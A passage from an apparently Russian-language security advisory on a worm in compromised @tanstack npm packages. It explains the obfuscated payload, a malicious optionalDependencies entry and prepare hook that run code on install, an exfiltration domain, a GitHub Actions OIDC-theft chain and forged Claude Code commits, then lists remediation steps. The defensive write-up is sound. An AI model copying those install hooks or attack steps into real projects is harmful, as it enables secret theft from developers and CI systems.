lifecycle-\u0445\u0443\u043a\u0438 npm, \u0430 \u0441\u0440\u0435\u0434\u0438 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0435\u0441\u0442\u044c \u043a\u0440\u0430\u0439\u043d\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u2014 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, @tanstack\/react-router \u0441 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 12 \u043c\u043b\u043d \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a \u0432 \u043d\u0435\u0434\u0435\u043b\u044e. \u0412\u0441\u0451 \u044d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e\u0439 \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u0434\u043b\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a \u041f\u041e. \u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u0440\u0430\u0437\u0431\u0435\u0440\u0451\u043c \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f, \u0440\u0438\u0441\u043a\u0438 \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0435\u0440\u0432\u043e\u043e\u0447\u0435\u0440\u0435\u0434\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u2014 \u043e\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043e \u0440\u043e\u0442\u0430\u0446\u0438\u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432 \u0438 \u0430\u0443\u0434\u0438\u0442\u0430 CI-\u043f\u0430\u0439\u043f\u043b\u0430\u0439\u043d\u043e\u0432.\u041f\u0440\u0438\u043d\u0446\u0438\u043f \u0440\u0430\u0431\u043e\u0442\u044b \u0447\u0435\u0440\u0432\u044f\u0412\u0441\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u043d\u043e\u0432\u044b\u0439\u00a0 \u0444\u0430\u0439\u043b router_init.js, \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c \u043e\u043a\u043e\u043b\u043e 2,3 \u041c\u0411. \u041e\u043d \u0441\u0438\u043b\u044c\u043d\u043e \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432, \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u0445 \u0434\u043b\u044f javascript-obfuscator (\u0440\u043e\u0442\u0430\u0446\u0438\u044f \u043c\u0430\u0441\u0441\u0438\u0432\u043e\u0432 \u0441\u0442\u0440\u043e\u043a, \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430\u043c \u0432 hex-\u0444\u043e\u0440\u043c\u0430\u0442\u0435 \u0432\u0440\u043e\u0434\u0435 _0x253b, \u0432\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0442\u043e\u043a\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u043e\u0432 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0439 while(!![]){}, \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u043c\u0451\u0440\u0442\u0432\u043e\u0433\u043e \u043a\u043e\u0434\u0430). \u042d\u0442\u043e \u0437\u0430\u043c\u0435\u0442\u043d\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u043e\u0442 \u043e\u0431\u044b\u0447\u043d\u044b\u0445 \u043c\u0438\u043d\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a Terser, esbuild \u0438\u043b\u0438 swc.\u0424\u0430\u0439\u043b \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\u0434\u0435\u043c\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u044e \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 spawn \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 DAEMONIZED \u0438 \u043e\u0442\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u043c stdio;\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u043c \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f GITHUB_* (\u0441\u0435\u043a\u0440\u0435\u0442\u044b, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 Actions\/CI, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u043e\u043a\u0435\u043d\u044b \u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\/\u0430\u043a\u0442\u043e\u0440\u0430);\u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u043e\u0435 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0441 \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u044b\u043c \u0446\u0438\u043a\u043b\u043e\u043c \u0447\u0442\u0435\u043d\u0438\u0435\/\u0437\u0430\u043f\u0438\u0441\u044c\/\u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435;\u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0439 \u043f\u043e\u0442\u043e\u043a\u043e\u0432\u043e\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438\/\u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445.\u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u043f\u043e\u043b\u0435 optionalDependencies \u0432 \u0444\u0430\u0439\u043b\u0435 package.json, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442 \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 TanStack\/router \u0441 \u0445\u0435\u0448\u0435\u043c \u043a\u043e\u043c\u043c\u0438\u0442\u0430 79ac49eedf774dd4b0cfa308722bc463cfe5885c. &#171;optionalDependencies&#187;: {    &#171;@tanstack\/setup&#187;: &#171;github:tanstack\/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c&#187;  }\u042d\u0442\u043e\u0442 \u043a\u043e\u043c\u043c\u0438\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0435\u043d\u0438\u044f. \u041e\u043d \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u0435\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0438. \u0412 \u043d\u0435\u0433\u043e \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u0432\u0441\u0435\u0433\u043e \u0434\u0432\u0430 \u0444\u0430\u0439\u043b\u0430: package.json \u0438 tanstack_runner.js. \u0424\u0430\u0439\u043b package.json \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u043f\u0430\u043a\u0435\u0442 \u0441 \u0438\u043c\u0435\u043d\u0435\u043c @tanstack\/setup \u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442 \u0445\u0443\u043a \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u043e\u0433\u043e \u0446\u0438\u043a\u043b\u0430 prepare, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 bun run tanstack_runner.js &amp;&amp; exit 1. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0445\u0443\u043a\u0438 \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u043e\u0433\u043e \u0446\u0438\u043a\u043b\u0430 npm \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u0440\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 git, \u044d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u0441\u0442\u0430\u043d\u0446\u0438\u044f\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u0438\u043b\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 CI \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438.\u0410\u0432\u0442\u043e\u0440 \u043a\u043e\u043c\u043c\u0438\u0442\u0430 \u2014 \u0430\u043a\u043a\u0430\u0443\u043d\u0442 GitHub voicproducoes, \u0447\u044c\u0438 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0441 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u0442\u0438\u043f\u0430 \u00abA Mini Shai-Hulud has Appeared\u00bb. \u042d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u044d\u0442\u043e\u0442 \u0432\u0437\u043b\u043e\u043c, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u043c\u0438 \u043a\u0440\u0443\u043f\u043d\u043e\u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u043c\u0438 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u043c\u0438 \u043f\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a npm, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443\u0435\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0430\u043a\u043a\u0430\u0443\u043d\u0442 \u0431\u044b\u043b \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d.\u0412 \u043f\u043e\u0441\u0442\u043c\u043e\u0440\u0442\u0435\u043c\u0435 TanStack \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044f \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0435\u0442\u0441\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0430\u0442\u0430\u043a \u043d\u0430 GitHub Actions, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0435\u0439 \u043f\u0430\u0442\u0442\u0435\u0440\u043d pull_request_target \u00abPwn Request\u00bb \u2192 \u043e\u0442\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043a\u044d\u0448\u0430 GitHub Actions \u0447\u0435\u0440\u0435\u0437 \u0433\u0440\u0430\u043d\u0438\u0446\u0443 \u0434\u043e\u0432\u0435\u0440\u0438\u044f fork-to-base \u2192 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043a\u0435\u043d\u0430 OIDC \u0438\u0437 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0438\u0437 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 GitHub Actions runner. \u041a\u043e\u043c\u0430\u043d\u0434\u0430 TanStack \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0442\u043e\u043a\u0435\u043d\u044b npm \u043d\u0435 \u0431\u044b\u043b\u0438 \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u044b, \u0430 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 npm \u043d\u0435 \u0431\u044b\u043b \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d. \u0412\u043c\u0435\u0441\u0442\u043e \u044d\u0442\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0432 CI, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u044b \u0431\u044b\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u0432 npm \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0447\u0435\u0440\u0435\u0437 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e OIDC-\u0441\u0432\u044f\u0437\u043a\u0443.\u041a\u0430\u043a \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0432\u043e\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438 \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0432\u0437\u043b\u043e\u043c\u0430:\u041f\u0440\u043e\u0432\u0435\u0434\u0438\u0442\u0435 \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443:\u0412\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u0435 shasum -a 256 \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 router_init.js \u0432 \u0434\u0435\u0440\u0435\u0432\u0435 \u0432\u0430\u0448\u0438\u0445 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0421\u0432\u0435\u0440\u044c\u0442\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0441 \u0445\u0435\u0448\u0435\u043c:ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c.\u0421\u043c\u0435\u043d\u0438\u0442\u0435 \u0432\u0441\u0435 \u0441\u0435\u043a\u0440\u0435\u0442\u044b \u043d\u0430 \u043b\u044e\u0431\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u0433\u0434\u0435 \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f @tanstack\/*.\u041f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u0442\u0430\u043a\u043e\u0439:\u0442\u043e\u043a\u0435\u043d\u044b npm;GitHub PAT-\u0442\u043e\u043a\u0435\u043d\u044b \/ OIDC-\u0434\u043e\u0432\u0435\u0440\u0438\u044f;\u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 AWS (\u043a\u0430\u043a \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043a\u043b\u044e\u0447\u0438, \u0442\u0430\u043a \u0438 \u0440\u043e\u043b\u0438 \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u043e\u0432);\u0442\u043e\u043a\u0435\u043d\u044b Vault;\u0442\u043e\u043a\u0435\u043d\u044b service account \u0432 Kubernetes.\u041e\u0442\u0437\u043e\u0432\u0438\u0442\u0435 \u043f\u0440\u0430\u0432\u0430 \u0444\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438 OIDC \u0434\u043b\u044f GitHub Actions \u0443 \u0432\u0441\u0435\u0445 npm-\u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432; \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0439\u0442\u0435 \u0438\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f, \u0447\u0442\u043e workflow \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u0435 \u0431\u044b\u043b \u0438\u0437\u043c\u0435\u043d\u0451\u043d \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.\u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 .claude\/ \u0438 .vscode\/\u0432\u043e \u0432\u0441\u0435\u0445 \u0434\u043e\u043c\u0430\u0448\u043d\u0438\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u0438 \u0432 \u043a\u043e\u0440\u043d\u044f\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432. \u0423\u0434\u0430\u043b\u0438\u0442\u0435 router_runtime.js, setup.mjs, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043b\u044e\u0431\u044b\u0435 \u043d\u0435\u0437\u043d\u0430\u043a\u043e\u043c\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0445\u0443\u043a\u0430\u0445 settings.json \u0438\u043b\u0438 \u0432 tasks.json.\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043a\u043e\u043c\u043c\u0438\u0442\u044b \u0432 \u0432\u0430\u0448\u0438\u0445 GitHub-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u043e\u0442 \u0430\u0432\u0442\u043e\u0440\u0430 claude@users.noreply.github.com, \u0435\u0441\u043b\u0438 \u043e\u043d\u0438 \u043d\u0435 \u0431\u044b\u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u044b \u0447\u0435\u0440\u0435\u0437 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0435 GitHub-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 Claude Code.\u0427\u0442\u043e\u0431\u044b \u043d\u0430\u0439\u0442\u0438 \u0442\u0430\u043a\u0438\u0435 \u043a\u043e\u043c\u043c\u0438\u0442\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435:git log &#8212;all &#8212;author=claude@users.noreply.github.com\u0415\u0441\u043b\u0438 \u0442\u0430\u043a\u0438\u0435 \u043a\u043e\u043c\u043c\u0438\u0442\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u2014 \u043e\u0442\u043c\u0435\u043d\u0438\u0442\u0435 \u0438\u0445 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u0435 force-push.\u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u043b\u043e\u0433\u0438 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 npm \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0439 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0432\u0430\u0448\u0435\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0432\u0435\u0440\u0441\u0438\u0439, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0440\u0430\u043d\u043d\u0435\u0440\u043e\u0432 GitHub Actions \u0431\u0435\u0437 \u0443\u0447\u0430\u0441\u0442\u0438\u044f \u0447\u043b\u0435\u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\u0417\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0439\u0442\u0435 \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043a filev2.getsession[.]org\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 Session \u043d\u0430 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435 \u0441\u0435\u0442\u0438, \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0432\u0430\u0448\u0435\u0439 \u0440\u0430\u0431\u043e\u0442\u0435. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441\u0435\u0442\u0438 \u0441\u0435\u0440\u0432\u0438\u0441\u043d\u044b\u0445 \u0443\u0437\u043b\u043e\u0432 Session \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0439, \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0430 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 DNS \u0434\u043b\u044f .getsession.org \u0431\u0443\u0434\u0435\u0442 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435, \u0447\u0435\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043f\u043e IP.\u0412\u043d\u0435\u0434\u0440\u0438\u0442\u0435 Subresource Integrity \u0438\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 lock-\u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0430\u043a\u0435\u0442\u043e\u0432\u0441 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u0435\u043c integrity \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 @tanstack\/* \u0432 package-lock.json \u0438\u043b\u0438 pnpm-lock.yaml. \u041b\u044e\u0431\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u0441 \u043d\u0435\u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435\u043c \u0445\u0435\u0448\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c CI.\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u044c\u0442\u0435 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f OIDC-\u0442\u043e\u043a\u0435\u043d\u043e\u0432 \u0432 workflow GitHub Actions:\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0435 permissions: id-token: none \u0432\u043e \u0432\u0441\u0435\u0445 workflow, \u043a\u043e\u0442\u043e\u0440\u044b\u043c OIDC-\u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u044f\u0432\u043d\u043e \u043d\u0435 \u043d\u0443\u0436\u043d\u0430, \u0438 \u0432\u044b\u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435 id-token: write \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0435, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e.\u041d\u0435 \u043f\u043e\u043b\u0430\u0433\u0430\u0439\u0442\u0435\u0441\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0431\u0435\u0439\u0434\u0436\u0438 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f Sigstore \u043a\u0430\u043a \u043d\u0430 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c 